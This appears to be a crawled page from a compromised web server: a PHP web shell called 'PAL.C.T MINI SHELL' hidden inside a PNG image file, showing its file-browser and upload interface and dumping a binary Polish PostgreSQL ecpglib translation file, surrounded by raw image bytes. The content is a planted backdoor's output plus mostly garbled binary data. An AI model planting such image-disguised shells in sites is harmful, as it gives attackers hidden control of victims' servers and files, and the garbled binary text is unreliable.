php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/share/locale/pl/LC_MESSAGES/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/share/locale/pl/LC_MESSAGES/ecpglib6-8.4.mo

!$/,	)'-Q:0$(9L*c;>3	<=&z1+'@%Y, 20;/l	+	3	8	P	(`	9	M	3
*E
*p


+
<
F5;|D+?)i*'* 
 @
1a
"
,
*
(	 

!<DEFAULT><empty>NULLSQL error %d on line %dSQL error: %s
connection "%s" does not exist on line %dcould not connect to database "%s" on line %dcould not convert boolean value: size mismatch, on line %ddata read from server is not an array on line %ddescriptor "%s" not found on line %ddescriptor index out of range on line %dempty message textempty query on line %derror in transaction processing on line %dinserting an array of variables is not supported on line %dinvalid input syntax for floating-point type: "%s", on line %dinvalid input syntax for type int: "%s", on line %dinvalid input syntax for type unsigned int: "%s", on line %dinvalid statement name "%s" on line %dinvalid syntax for type boolean: "%s", on line %dno data found on line %dnot connected to connection "%s" on line %dnull value without indicator on line %dout of memory on line %dthe connection to the server was losttoo few arguments on line %dtoo many arguments on line %dunrecognized descriptor item "%s" on line %dunsupported type "%s" on line %dvariable does not have a character type on line %dvariable does not have a numeric type on line %dvariable does not have an array type on line %dProject-Id-Version: ecpglib (PostgreSQL 8.4)
Report-Msgid-Bugs-To: pgsql-bugs@postgresql.org
POT-Creation-Date: 2011-09-24 13:20+0000
PO-Revision-Date: 2011-09-22 10:58-0300
Last-Translator: Begina Felicysym <begina.felicysym@wp.eu>
Language-Team: TortoiseSVN Polish translation team
Language: 
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
<DOMYŚLNIE><pusty>NULLbłąd SQL %d, linia %dbłąd SQL: %s
połączenie "%s" nie istnieje, linia %dnie można połączyć się z bazą danych "%s", linia %dnie można przekształcić wartości logicznej: niepoprawny rozmiar, linia %ddane odczytane z serwera nie są tablicą, linia %dnie odnaleziono deskryptora "%s", linia %dindeks deskryptora poza zakresem, linia %dpusty tekst komunikatupuste zapytanie, linia %dbłąd w przetwarzaniu transakcji, linia %dwstawienie tablicy zmiennych nie jest obsługiwane, linia %dniepoprawna składnia wejścia dla typu floating-point: "%s", linia %dniepoprawna składnia wejścia dla typu int: "%s", linia %dniepoprawna składnia wejścia dla typu unsigned int: "%s", linia %dniepoprawna nazwa wyrażenia "%s", linia %dniepoprawna składnia wejścia dla typu boolean: "%s", linia %dnie znaleziono danych, linia %dnie wykonano połączenia z "%s", linia %dwartość null bez wskaźnika, linia %dbrak pamięci, linia %dpołączenie z serwerem zostało przerwanezbyt mało argumentów, linia %dzbyt wiele argumentów, linia %dniezrozumiały element deskryptora "%s", linia %dnieobsługiwany typ "%s", linia %dzmienna nie ma typu typu character, linia %dzmienna nie ma typu typu numeric, linia %dzmienna nie ma typu typu array, linia %d
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`